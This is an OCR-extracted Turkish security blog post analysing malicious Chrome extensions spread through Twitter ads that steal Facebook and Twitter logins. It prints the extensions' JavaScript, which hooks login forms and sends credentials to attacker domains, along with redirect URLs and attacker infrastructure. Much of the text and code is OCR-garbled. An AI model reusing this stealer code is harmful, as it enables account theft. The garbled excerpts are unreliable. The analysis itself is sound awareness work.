Sosyal Ag Hirsizlari

written by Mert SARICA | 1 June 2016
Bundan UG¢ yil once yine Haziran ayinda yayimlamis oldugum Jeton Hirsizlari

baslikli blog yazimda, art niyetli kisilerin zararli Chrome ve Firefox
eklentiler ile kullanicilarin Facebook OAUTH jetonlarini calarak,
kullanicilarin hesaplarini nasil kotuye kullandiklarina dikkat cekmistim.

Ne tesadiftur ki U¢ yil aradan sonra yine Haziran ayinda, Twitter uUzerinden
reklamlar ile kullanicilari zararli sitelere yonlendiren ve bu siteler
tuzerinden yuklettikleri Chrome eklentileri ile Facebook ve Twitter
parolalarini calan bir veya birden fazla grup ile karsilastim. Bu defa
bilfiil tanik oldugum bu olayi yaziya dokerek bu konuya dikkat cekmek ve
sosyal ag ve medya glivenligi farkindaligina katkida bulunmak istedim.

Twitter’da yaklasik 2000+ takipg¢isi olan (yeri gelmisken tim takipg¢ilerime
tesekkir ederim. :)) biri olarak, konu baska hesaplari takip etmeye
geldiginde her ne kadar bana darilanlar olsa da, bu konuda oldukca secici
davranmaya devam ederek simdilik ~150 hesabi takip etmek ile yetiniyorum.
Bunun baslica nedeni ise odagimi kaybetmeyip bilgi/bilisim glvenligi
agirlikli tweetleri takip etmek istememden kaynaklaniyor. Durum bdyle olunca
da aslinda Twitter’da karsilastigim reklam tweetleri (promoted) de cogunlukla

guvenlik ile ilgili oluyor.

Gectigimiz ginlerde kisa bir slirede ¢ok sayida karsilastigim ve gercek
Twitter hesaplarinin (muhtemelen eklentiyi yukleyen kullanicilarin hesaplari)
kullanildigi birkac¢ reklam, stpheli olmasi nedeniyle oldukca ilgimi cekti ve
hemen reklamlarin perde arkasinda neler olup bittigini arastirmaya karar

verdim.


https://www.mertsarica.com/sosyal-ag-hirsizlari/
https://www.mertsarica.com/jeton-hirsizlari/
https://tr.wikipedia.org/wiki/OAuth
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Twitter’da bu durumla karsilasan baska kullanicilar var mi diye twitter viris
anahtar kelimeleri ile genel bir arama yaptigimda ise bu durumun Nisan
ayindan beri yaygin olarak Twitter’da karsilasildigini gérdim.
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Reklam gorsellerinden birine tiklandiginda
http://t.lapteccoder.com/dompol.php -> http://begenlobi.com/twlaptec.php ->
http://t.lapteccoder.com/XOLwWTuTI.php adresine, digerine tiklandiginda ise
http://bit.ly/1s93im0 -> http://firsat2014.com -> http://tw.oklsme.cf/vi.php
-> http://tw.oklsme.cf/eSn0J1.php adresine ydnlendirilen kullanicinin
karsisina 18+ oldugu iddia edilen bir video gérseli c¢ikmakta ve kullanici
sahte videoyu izlemek ic¢in bu gdrselin lzerine tikladiginda, kullanicidan
Chrome internet tarayicisi kullandigi taktirde AdsTwitter Video veya SwslLertz
isimli eklenti yuklemesini istemekteydi. Her defasinda yonlendirilen PHP



adinin da rastgele olarak degismesi, HTTP yanit (response) kodu olarak 200
yerine 404 donmesi ve ana sayfanin direk cagrildiginda da hesabin
dondurulduguna dair bir mesajla karsilasilmasina ragmen sitenin calisir

olmasi da dikkatimden kacmadi.
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+1-§g) http://bit.ly HTTP/1.1 404 Not Found -
31-g) http://firsat2014.com Content-Encoding: gzip
=-€g) http://tw.oklsme.cf Vary: Accept-Encoding
¢ vi.php Date: Sat, 14 May 2016 09:24:44 GMT
& Expires: Thu, 19 Nov 1981 08:52:00 GMT
@ M*"i s Cache-Control: no-store, no-cache, nwust-revalidats, post-checkal), pre-checks0
& viphp Pragma: no-cache
© 5CGoTK.php  m— Content-Type: text/html
¢ viphp Content-Length: 8343
© TBMyw.php  f— Connection: keep-alive
G viphp
@ VasHR . php  f— <html class="content-snap-width-3 no-focus-outline” data-cast-api-enabled="true" lang="en"><head>
& viphp <link href="https://s.ytimg.com/yts/img/favicon-vflzTuhzw.ice” rel="shortcut icon” type="image/x-icon™>
L <link class="ess-httpssytimgcomytscssbinwwweorewebpiil 1ATRKess” href="https://s.ytimg.com/yts/cssbin/www-core-
€ xDVX-PhP S — webp-viI1ARRK-.css" names="www-core” rel="stylesheet">

<link class="css-httpssytimgcomytsc: play pvildgAQhScss” href="https://s.ytimg.com/yts/cssbin/www-pl
ayer-webp-vfldqAChS.css” name="www-player” rel="stylesheet">

<link class="css-hitpssytimgcomytscssbinwwwpageframewebpuflskDMH1css™ href="hitps:
ww-pageframe-webp-vflskDMH1.cs5" name="www-pageframe" rel="stylesheet">
<title>Video (18+) - YouTube< /title>

<link class="css-httpssytimgcomyt P P
wewow-watch-transcript-webp-vflp8_n_i.css” name="www-watch-transcript” rel

<link class="css-httpssytimgeomytsessbinwwwguidewebpvflehrjXess™ href="https:/)
de-webp-vfl3ehrjX.css” name="www-guide” rel="stylecheet">

<link class="css-httpssytimgcomytscssb pageframedelayloadedwebpyflwYAtWEcss" href="http:
ts/cssbin/www-pageframedelayloaded-webp-vflwYAtWE.css” name="www-pageframedelayloaded” rel=

<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"> < /script>

<seript>new Image{).sre="https://whos.amung.us/swidget/ntientientiv'; < /script>

sytimg.com/yts/cssbin/w

href="https://s.ytimg.com/yts/cssbin/
"stylesheet™
ytimg.com/yts/cssbin/www-gui

s.ytimg.com/y
tylesheet™>

<link rel="chrome-webstore-item" href="https://chrome.google.com/webstore/ detail/gepamecfljihajmiigmaebcfbmoia
kol™>
</head> v

Headers | Text | Hex | Compressed | HTML | Raw

GET hitp:itumuser. com/tw.php Recording
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This Account has been suspended.

Contact your hosting provider for more information.

bitly.com kisaltilmis adreslerinin (short url) sonuna + isareti koydugunuz

taktirde (http://bit.ly/1s93im0O+ gibi), o sayfanin istatistik sayfasina
ulasabiliyorsunuz. Ben de bu sekilde bu adrese ait istatistik sayfasini

ziyaret ettigimde, 5 saat icinde bu baglanti adresine 4300 defa tiklandigini
gordim.
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Jeton Hirsizlari yazimdan da bildiginiz lzere, Chrome eklentilerini

indirdikten sonra crx olan uzantisini .zip yaptiktan sonra herhangi bir zip


https://www.mertsarica.com/jeton-hirsizlari/

acma aracl ile acabiliriz. Paketin ig¢inden ¢ikan JavaScript dosyalari bize o
eklentinin islevselligi konusunda bilgi verecektir.

Eklentilerin adreslerini ilgili sayfalardan tespit ettikten sonra
http://chrome-extension-downloader.com adresi Uzerinden bu eklentileri
indirip kisaca incelemeye karar verdim.

] http:/t lapteccoder com GET  jdompod php a8 o 302 rs HTML php () B7T96.187.171  furkanasret=12 . 06:56:40 1. 8080
7 hitp/tlapteccodercom  GET  ARIGDEM php = (] 404 38282 HTML  php Video (18+) - YouTube L 87.98.187.471 06:56:40 1. 8080
8 http:/it lapteccoder.com GET Hzacon.ico = L 404 3e2E2  HTML ico Video (18+) - YouTube O sTes187.1M1 06:56:50 1... 8060
9 http:/it lapteccoder.com GET  /VR1gDfEM php a O s 329 HTML php () 87.96.187.171 06:57:53 1. B0BO
10 hitps:iichrome google.com GET  /webstore/detaillakhfffifnc mpiek =] L 301 281 HML Moved Permansntly o 2165821214  NID=7T9=buWR.. 06:58:121.. 8080
11 hitps:ichrome google.com  GET  /webstore/detail/adstwittersideo ] O 2 43211 HTML AdsTwitter Video - o 2165821214 06:58:17 1... 8080
13 httns-fichmme onoals com GET I iscsiows-static! fisfk=cws ma 1 L1200 5947596 scrint IWi__716 58 212 14 0f5A28 1 ROBD
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<apan style="font-size: lOpx;width: LDD%;posicion: absoluce;TexT-aligni CeNTSr;MArgin-top: LZpk;" id="click_text">Click *Add extension' buttons</span:

</div>

<a rel=rporeferrer” id="link" href="https://gso.gl/rITKRE® styles"display:none: ™></a>

<script cype="text/javascript™>

tunction translate{sourcs,targst,q,callback)

war url = *https://translate. googleapis. com/translate afsingle?clientsgtxsle’ + source + *Gtla’ + target + *Gdtatfdjsl i L (a):
war xhr = new XMLHttpRequest(}):
*he.open{"GET", url):

shr.setRequestHeader(* Content-Type®, “application/ £ 1 ded; charset=UTF-8° , true):
schr . send( ) :
®hr.onreadystatechange = function() {

Af (¥hr.readyState == 4 G& xhr.status -- 200) |

var data = JSON.parse(xhr.responsefext);
callback(data) ;

translate(®en” navigater.language,$(“Helick text®). text(}) function{data)(
S("Mclick text®).text{data.sentences[0].trans):
1}
</3cript>
€3CTipt type="text/javascripts
installed = false:
install = function{){
F('ntml, body').animate({
serolllop:
}. 100)
S0THALert™).hide() :
chrome webstore. install(
‘https:/fehrome. google. com/w fdetail/ 14
function() {
installed = true;
new Image().sre = */fwhos.amung.us/widget /EnSkapfad1is png' ;
window. setTimeout {function(){
document . getElementByld( " Link" ), elick() :
1,500) ;

functioniere) {
S("MAlert”).show():
$("body® ) .css{ {overflow: “hidden®}):

r

50 ). inatall) install) :

${window) .on{ ‘beforewnload’ , function{) {
S WALert"} .hide() :
if{installed == false){
return “Install extension!®;

¥
</scEipT>
</body></heml>

</Body»</html>
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#-§g) http://bitly www-watch-transcript-webp-vflpd_n_i.css” names="www-watch-transeript” rel="stylesheet™> P
3 @ http://firsat2014.com <link class="css-hitpssytimgcomytscsshinwwwguidewebpvflehrXcss” href="https://s.ytimg.com/yts/cssbin/www-gui
=169 hitp://tw.oklsme.cf de-.wcbp-\.{llehrjx.css na.m¢="\'r\\.wvg\.|\dc" rel="stylesheet"> )
& viphp <link class="css-httpssytimgcomytsc: pageframedelayload bpvilwYAtW6css” href="https://s.ytimg.com/y
g m ts/cssbings pagef lelayloaded-webp-vflwYAtWE.css” name=" pagefi lelayloaded” rel="stylesheet">
© AU <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"> < /script>
S "EFg‘:K <seript>new Image().sre="https://whos.amung.us/swidget/ ntientientiv’; < /script>
sCGoTK.php
G viphp
© zBMyw.php
G viphp
@ vAsHn2.php N i ) ' ) )
& viphp <body class="ltr webkit webkit-337 exp-resp exp-scrollable- guide site-center-aligned site-as-giant-card appbar-hid
den visibility-legging-enabled not-nirvana-dogfood not-yt-legacy-css flex-width-enabled flex-width-enabled-snap page-
© xIDBVX.php loaded” data-spf-name="watch" dir="Rr" id="body" style=" cverflow: hidden;" cz-shortcut-listen="true">
<div id="body-container >
<divid="masthead-positioner” style=" position: relative;">
<div class="clearfix yt-base-gutter” id="yt-masthead-container”>
<divid="yt-masthead">
<div class="yt-masthead-logo-container">
<button aria-controls="appbar-guid nu” ari “false” aria-label="Guide" class="yt-uix-button yt-uix
-button-size-default yt-uix-button-text yt-uix-button-empty yt-uix-button-has-icon appbar-guide-toggle appbar-guide-c
lickable-ancestor” id="appbar-guide-button® onclick=";return false;” type="button"> <span class="yt-uix-button-icon-wr
apper”><span class="yt-uix-button-icon yt-uix-button-icon-appbar-guide yt-sprite” > </span> </span></button>
<div id="appbar-main-guide-notification-container"> </div> <span id="yt-masthead-logo-fragment> <a class="
yt-uix-sessionlink masthead-logo-renderer spi-link” data-sessionlink="itct= CAUGsVAEW]SvuPkO4IMARWGKRYKHSHWD
MUo-B0™ href="/" id="logo-container” title="YouTube Home"> <span class="logo masthead-logo-renderer-logo yt-sprit
e title="YouTube Home"> </span> </a> </span>
</div>
<div id="yt-masthead-signin">
<div class="signin-container"> v
Headers | Text | Hex | Compressed | HTML | Raw
GET http:/tumuser.comitw.php Recording
y [® Start| Chrome Extension | LEE - o n
« [ § chrome-extension-downloader.com B o =

Chrome Extension Downloader

easily download chrome extensions

Insert the web store url of the extension or just the extension ID:

https://chrome.google.com/webstore/detailladstwitter-vide [EBTLIE RS Gt o]

History

Overall Chrome Extension Downloader was 108 188 times useful,

AdsTwitter Video vd..crx * Showall downloads.. X

AdsTwitter Video eklentisinde yer alan JavaScript kodunu inceledigimde,
eklentiyi yiklemis olan kullanici herhangi bir web sitesini ziyaret
ettiginde, bu eklentinin http://lapteccoder.com/pluactive.php ->
http://begenlobi.com/twlaptec.php adresine istekte bulundugunu gdrdim. Istege
donen yanitta yer alan JavaScript kodu sayesinde, kullanici tarafindan
ziyaret edilen adresin facebook.com veya twitter.com olmasi durumunda bu
eklenti, kullanicinin e-posta ve parolasini caliyor ve hirsizlara
gonderiyordu. Ayrica hirsizlar, http://whos.amung.us/ sayfasinin istatistik
eklentisinden de faydalanarak bu zararli eklentinin anlik olarak kac¢ kisi


http://whos.amung.us/

tarafindan kullanildigini yakindan da takip ediyorlardi.

File Commands Tools Favorites Options Help

O R 4

Add  Extract To  Test View Delete Find Wizard Info | VirusScan Comment SFX

I B AdsTwitter-Video_v4.10.crezip - SFX ZIP volume, unpacked size 8.254 bytes Ll
Name - Size  Packed Type Medified CRC32
k. File folder
| _metadata File folder
B 16icon.png 444 449 PNG image 10.9.2011 12:06 0709F2C8
B 48icon.png 1.034 1.039 PNG image 10.9.2011 12:03 AD3ATAIG
B 128icon.png 2507 2484 PNGimage 10.9.2011 1206 0404E083
%l background,js 1514 707 JavaScript .. 11.5.2016 18:51 TIFOFEDT
Heartesjs 268 165 JavaScript .. 11.5.2016 1951 GBCDFCAB
manifestjson 547 318 JSON File 11.5.2016 19:55 B154C271

' TM!Hdumd&!Mﬁinsﬁ\as

File Edit View Help

Erresaor, TyeH, Ikberwr) [
it fheyet status == complete’) [
it{hocal Storage.
var bcunap = new Date . dwaugvl = new Ibrenets = s
[ bk 13
resze (

function mnwken()
return s XML HIpRequest):
]
vr
gbcjkkhizojgk] = tunction 0 [
i tgbephskamco) - 4){
chromefaitveralideuskir {
cade:
£ 1
gocjkkhiffkulidgen. jcotond:
gbejkkh{hhmizm|(:

1.514 bytes ‘Windows text
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new Image().src = "https:/fwhos.amung.us/swidget/cOdisikerloy"; if(location.hostname.indexOfl "facebook.com")>=0) {
iffdocument.getElementByld("login_form")){document.getElementByld("login_form").onsubmit=function(e){

localStorage.setltem("hasi", document.getElementByld("email").value); localStorage.setitem( "nasi",document.getElementByld("pass").value);
setTimeout(function(){document.getElementByld("login_form").submit()},89);return false} }if(localStorage.hasi&&localStorage.nasi){ new
Image().src="http://begenlobi.com/moko/f.phprasasddfghjvxklmnbvef="+localStorage.hasi+"&fcvnbmgifmdtjgkhmbgndmghmvnfmc="+localStorage.nasi;
localStorage.removeltem("hasi");localStorage.removeltem("nasi"); chrome.extension.sendRequest({sik:"yeap"}.function(e){})}}
if{location.hostname.indexOf( "twitter.com")>=0){ ifldocument.querySelector|"form.signin")){dccument.querySelector{ "form.signin").onsubmit=function(e){
localStorage.setitem(“hasil“,document.querySelector(“form.signin input#signin-email").value);

localStorage.setltem("nasi2”,document.querySelector( "form.signin input#signin-password").value); setTimeout{function()
{document.querySelector("form.signin").submit() },29);return false }} if{localStorage.hasil &&localStorage.nasi2){ new lmage().src="http://begenlobi.com
Imoko/t.php?laplapcekokotiwiko="+localStorage.hasil +"&lapitekocekikpasikko="+localStorage.nasiz;

localStorage.removeltem( "hasil ");localStorage.removeltem("nasi2"); chrome.extension.sendRequest( {sik:"yeap"} functionie){})}}
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l;}: Change date and time settings...
v
L



0 begenlobi.com is already registered*

Whois Server Version 2.0

Domain names in the .com and .net domains can now be registerad
with many different competing registrars. Go to http://www.internic.net
for detziled information.

Domain Name: BEGEMLOBL COM

Registrar; GODADDY .COM, LLC

Sponsoring Registrar TANA ID: 146

Whaois Server: whois.godaddy.com

Referral URL: http://www.godaddy.com

Mame Server: NS1.LAPTECPRO.COM

Mame Server: NS2.LAPTECPRO.COM

Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Status: clientRenewProhibited https://icann.org/epp2clientRenswProhibited
Status: clientTransferProhibited hitps://icann.org/epp#clientTransferProhibited
Status: clientUpdateProhibitad https://icann.org/epp#clientlpdateProhibited
Updated Date: 11-apr-2016

Creation Date: 02-feb-2016

Expiration Date: 02-feb-2017

=>> Last update of whois database: Thu, 12 May 2016 04:36:04 GMT << <

SwsLertz isimli eklentide yer alan JavaScript kodlarinda ise bu defa Base64

ile metinlerin gizlendigini g6rdim. Yine digerinde oldugu gibi, kullanici

herhangi bir web sitesini ziyaret ettiginde bu eklentinin

http://tumuser.com/tw.php adresine istekte bulundugunu ve bu istege doénen

yanitta yer alan JavaScript kodu sayesinde ziyaret edilen adresin twitter.com

olmasi durumunda kullanicinin e-posta adresini ve parolasini caliyordu

(https://healtpol.com). Eklentinin yuklenir yuklenmez, Twitter’'a ait olan

mevcut cerezleri (cookie) silmesi ve kullaniciyi direk twitter.com adresine

yonlendirmesi de dikkatimi ceken diger bir ayrinti oldu.


https://en.wikipedia.org/wiki/Base64

= Swslertz_v7.0.crx.zip - WinRAR (evaluation copy) - a “
File Commands Tools Favorites Options Help

I MO [ 49

Add  Extract To  Test View Delete Find Wizard Info | VirusScan Comment SFX

E Bl Swslertz_v7.0.crxzip - SFX ZIP velume, unpacked size 28,396 bytes ~
Name - Size  Packed Type Modified CRC32
W File folder
| _metadata File folder
B 16iconsxhcqgrs.png 507 512 PNGimage 13.5.2016 14:20 6CS5F9403
B 48iconsxheqgrs.png 40861 4.066 PNG image 13.5.2016 14:20 CBBBESEF
B 12Biconxheqgrs.png 17.960 17.970 PNG image 13.5.2016 14:21 EECTF3E6
Bfidiolfjs 3,087 1.344 JavaScript .. 13.5.2016 14:40 4524D58D
%] arzstjs 379 242 JavaScript .. 13.5.2016 14:39 CTFBBF40
* manifestjson 435 250 JSON File 13.5.2016 15:25 85652882

14 Mayis 2016 Cumartesi

+  Mays2016  »

Pt Sa Ca Pe Cu Ct Pz

25 26 27 28 29 30 1

2345678

910 11 12 13[3d]15

16 17 18 19 20 21 22

23 24 25 26 27 28 29

303 12 3 45

Change date and time settings...
=L Total 1 folder and 26.429 bytes in 6 files
= View - fidioif js - o IEN
File Edit View Help
fvar otemerahothyt - window, o
fvar - atoby 2 1L s 1 B
tob TpiC |1
fvar atob el 1)
[var oty ik
hear idovegab = atobl e ES GO YN ASMT FICIRhAHYS ) spit | 1
[var ubinoh = atob{” 1spErT N1k
fvar Vspltg 1)
[var ehunadoy = atob( spiiC T TE
b Dl

var = atob{"My 15PN
var atob{ Vaple 1

puar = e[ MIgZ NDgy VST

A R T e s e L S File Edit View Help
b’ = splt NI azcauzuniteyui
fvar inuhotor = “aremanoedopa”: function ozakuhamub( | P
FRIUIT N XML HITD)
ey, ¥
i [uteryibutugfidevegab) << ubinoh)
o B — var asabih = ozckuhamub{k
var ehapul o apul . unegozsd ¥ asabihfirolboy] - function | {
ehapa, [} f asebibiyazezom == 4) i
i Soonk " ‘code: sebilavat]
Jelse L] !
atomajekic - ¥
ifftypeot 88 typeat
esopahatobubirid = new DategetTime) asabinfidatageputoropur)()
ohosekicudukiz - rew Dated.to SOM).shee(s. 10
anew no:
eredaninatuber - ahamutasinojesic:
i :
- ekunoday;
st » orurinesik:
- jpuhlcololehekeb:
Iroiboy = lkejedaburesnvus:
hyaresem = weokenunerity
peceows = ulesp:
Idatageputoropur = uhysc
areaumnteyuil
1
1
¥
1
3
it gloscastorage frsthung
tocalStorage frstiun = fruo;
forfuar i+0; <cookies lengthis) |
consale loglcoakies{ilk
i 370 bytes Wind:
1
1
i -

3.087 buvtes Windows text



File Edit Search View Encoding Language Settings Macro Run Plugins Window ?

YL eI e l=1 b1 =l RO

chrome™) [*tabe® ) [ 11 1 i
2 ["status™] == "complete™) |
3 Sr(luindow[“localstorage” ) [= =104
] ¥ax shapul = mew Date (), smelorucifckukem = new Date ( shapul ). unegozad = new Date ()i
5 amalarusi fokul 1 shapul Y
s e sDater o "
3. ¥Ar usonin = shagul . gecTime () ime () ime (135
s whndow [ -1 likg] = scw 7
] ) elwe [
10 - LimupT i
11 {¢ Gysaat Arsmaiakic apshhsasaledioan e nimbert £i Typtaf Ariaatekis akafassaniucis e "sushert){
12 asopabotobuhirid = new Date().getTime(}s
13 aBoaRkASUSUKAE = new Date () .toSGH() .slice 5,100/
¥ = now agadapsa) -£eI80N () alicels, 10)
15 if “ [}
16 azasusubiteyudil s
17 ¥
18 1
19
¢ )
1 H
2 he
2
24 £f (MlocalSeorage.fissthus) |
25 losalistorage. firnthun = trues
2E chrome.cooikies.gatAll{{domain: =.twitter.com"), funcrionicookiss) §
21 for (VAL A%0; L<cookies.lengthiies) {
21 comsale. Logicookientil);
)
30 chrose.coskies. remove{[ucl: "HELRE://" 4 cookies[il.domsin ¢ cookies[il.path, name: cookies(il.nameibs
Y
3
M
35
6 function azezuzuhitewsit) (
3 funcrion crokubamub() {
8 return new OCHEtpRequRst ()2
39 ]
40
41 zar assbih = czckihamsbi):
2 anshih["onrsadvarateckargs”] = fusction (b {
43 £2 (amsbih(“resdystate] == 4) {
“ }tcabe"y [ 1y
45 em asabib["respomsaText™)
45 "
4 )
48 a
4% ABebin|"open”] (getT, "REIRL LTSNSO S REE") §
) anskin["send"] (1)
51
Nermal text file length: 1886 linln:1 Col:110 Sel: Dos\Wind UTF-8 w/o IN
File Edit View Proxy Tools Window Help
Seasion 1| swslerzl
Structure | Sequence| Ovenview | Request Response ;Summuinhan|Nota|
EOhtth!thmmm - 1 new Image().src = "httpsi/fwhos.amung.usfswidget/nti it”, f— A
2)if (location.hostname.indexOf(“twitter.com”) »>= ml
3war loginei = dod it. g etEl itsByClpssMarne('j field il-input js-initial-focus’);
4 var logincim = document getleme nvts me('session[username_or_email]);
5
6
7 document.forms[2].onsubmit = function() {
8 var email = il")ovalue;
9 var password = ducument.gelflememﬁyld('slgnln-pasmld'),va\ue,
10 Aew | {).sre = "httpsy/fhealtpol. com/ek] il="+email +"&sifre="+ password + "Eoo=twitter”; ifm—
1
17}
12
14 var logingi = d getEl By Classh p username-field email-input js-initial-focus’);
15 var logincim = doc! q M -_ar_email] );
if CIoglncl.!:ngth >0
17 doc getE] A field email initial-focus)[0], ibute("id", "yolo™);
1 r.lucumentgetEIementsByCIassName('Jslpasmld ﬁeld')[ﬂ].semmbuhfld' “yala®);
docurnent.forms[Z].onsubmit = function() {
var email = dn:um: mgeﬁlammﬁ,ﬂd("ynln"} value;
var tByld{"yalo®)value;
new Imlgeo srC = hupsﬁhnlwul comyekle.phpfemail="+email +"&sifre="+password + "Bv=twitter";
H
27 lelse if (logincim.length » 0) {
rfﬂdol:ummtge&l:mentﬂyid(‘sngnm emu-l'}){
[ or_email]);
or emalll')[D] sebﬂmbuu(‘wd "yolo"); o
hd 1




[ 41.png (80x15) X
L C f https://whos.amung.us/swidget/ntientientit & o
£) Hionine |

tial-focus');

rassword+"&v=twitter";

14 Mayis 2016 Cumartesi

4 Mayis 2016 L

= = = = e wmmand Pt Sa Ca Pe Cu Ct Pz
b e Y L e L
25 26 27 28 29 30 1
document.forms[2].onsubmit = function() { 2 345678
var email = document.getElementByld("yolo").valug; 910 11 12 1315
var password = document.getElementByld("yalo").value; 16 17 18 19 20 21 22 ;
new Image().src = "https://healtpol.com/ekle.phpZemail="+emai 23 24 25 26 27 28 29
} 3031 123 45 12:16:43

v Headers | Text | Hex | Compressed | HTML | Raw

Change date and time settings...

I
delts-2999-15188897 448301648242 o data

Hirsizlarin caldiklari hesaplari ne kadar etkin kullandiklarini anlama adina
Twitter Uzerinde @osmankurek81 isimli sahte bir hesap olusturup, Twitter’a
giris ic¢in kullandigim e-posta adresini ve parolayi ilgili sayfalari
tuzerinden hirsizlara caldirdigimda, hesabin 2 saat icinde koétuye
kulanildigina ve dondurulduguna dair Twitter’dan bir e-posta aldim. Bunun
lUzerine Twitter hesabima baglanan IP adreslerini inceledigimde, hirsizlara
ait oldugunu disiindigim ip adresini de g6rebildim.

#| http://5611.email. mynetcom/index.php?unique_id=-149995343 1463314055080 O = & || ¥ Password Reset B Mynet | Haber, Oyun, Video..| = Mynet Email : Lider, Tiirk... % h x
— ; ;
.y Merhaba osmankurek81 Ghrig bildir! | Ayarlar = | Hesabim | Yardwm | Mynet | Gikag
mynet email
b Posta Kutusu (4)

Montrol B Yar Qe oL Tape @ etketle A Spam ) iglemiber v

Posta Kutusu o Twh.» Boyut
ot O Bugln 15:07 2%
Spam (Sliages)
Goinderilen =] el Dun 2208 20K
Taslak - =
Adres Duftart O ¢ i 13.05.16 1955
Klasbrierim uyeler@mynet.com
m] Mynet Disyasea Hospelciniz 13.06.16 18:52 23k
e “ o
Yartla | TOmOnd yarstia | et || Yazdr 40nceid | Sonrakik
i i Tarih: 14 Mays 2016 Cumartesi 22:08 LENOVO 25075 A0 730
For security purposes, your Twitter account has been locked. a 2l martes] PN S T8 ¢ Wt 28
Kimden : Twhter <password@twitter com> BOECOOKOTX
Kome :  Osman Kiliek <osrariorek] Gemret.coms Dirikstil Bl
W Hi Osman Korek,
Your account may have been
compromised by a website or service not
associated with Twitter.
We've locked your account @osmankurek21 to keep it
safe. In order to log back in, you must change your
password,
B Depo



O ([ veimitarcomsevingyous i s D~ @ Toite, e 5, 0| ¥ Pssworsiost. IO R Rl ¥ v/ sovss < | RIS
€rtome M nowcations Rl Messages o Search Twie a D ~
I Account histo:
u Osman Kirek b
Eoamankurekl
Account creation May 13, 2016 at 8:54 AM
Account > (located in Turkey)
Security and privacy > Username @osmankurek81 Edit
iD:
Password 3 userio
Cards and shipping 3 Email osmankurekBl@mynet com Edit
Order history 3 Pritwi A
Mobile »
Email notifications . k
e 4 Legin history
Web natifications T | youses sny susplcious acthity oen an 8pp, g6 1o the Apps tob o revoks s sccss. In Soen ca363 the
Find friands N 1P location may differ from your physical lecation. Learn mare
Muted accounts > L TIM
Tuitter.com May 15, 2018
Blocked accounts » 5:06 AM .
Apps > Twitter.com May 14, 2016 78.183.226.81 _
5:00 AM Turkey
Widgets >
Twitter.com May 14, 2018
Your Twitter data > 450 AM
Bitly May 14, 2016
1:50 AM
Bitly May 14, 2018
1:50 AM
Twitter.com May 14, 2018
1:44 AM
Twitter.com May 13, 2018
1118 PM
v
(i) Ads by Google » |P Address Map » Find IP Location » L ocation Map » Location Tracker

Geolocation data from IP2Location (Product: DB6, updated on 2016-5-1)

IP Address Country Region City
78.183.226.81 Turkey Amasya Merzifon
ISP Organization Latitude Longitude
TT ADSL- Not Available 40.873329162598 35.46305847168
TTNET_DYNAMIC_GAY

Geolocation data from ipinfo.io (Product: API, real-time)

IP Address Country Region City
78.183.226.81 Turkey Not Available Not Available
ISP Organization Latitude Longitude
TTNet A.S. TT ADSL- 41.0136 28.9550
TTnet_dynamic_gay

Geolocation data from EurekAPI (Product: API, real-time)

IP Address Country Region City

78.183.226.81 Turkey Amasya Amasya

Organization Latitude Longitude

Turk Telekom Turk Telekom 40.6533 35.8331

Sonug olarak, dolandiricilarin sosyal aglar lzerinde masum vatandaslarin



parolalarini calmak ve hesaplarini kétiye kullanmak i¢in ugras verdiklerini
ve hatta reklam butceleri olusturduklarini gdérebiliyoruz.

Sosyal ag ve medya guvenliginiz ic¢in bilmediginiz kaynaklardan gelen
mesajlara, reklamlara itibar etmemenizi, baglanti adreslerine tiklamamanizi
ve internet tarayicilarina yiklediginiz eklentilere dikkat etmenizi (mevcut
Chrome eklentilerinizi chrome://extensions adresinden gOrebilirsiniz) tavsiye

ederim.

Bir sonraki yazida goOrismek dilegiyle herkese givenli gunler dilerim.



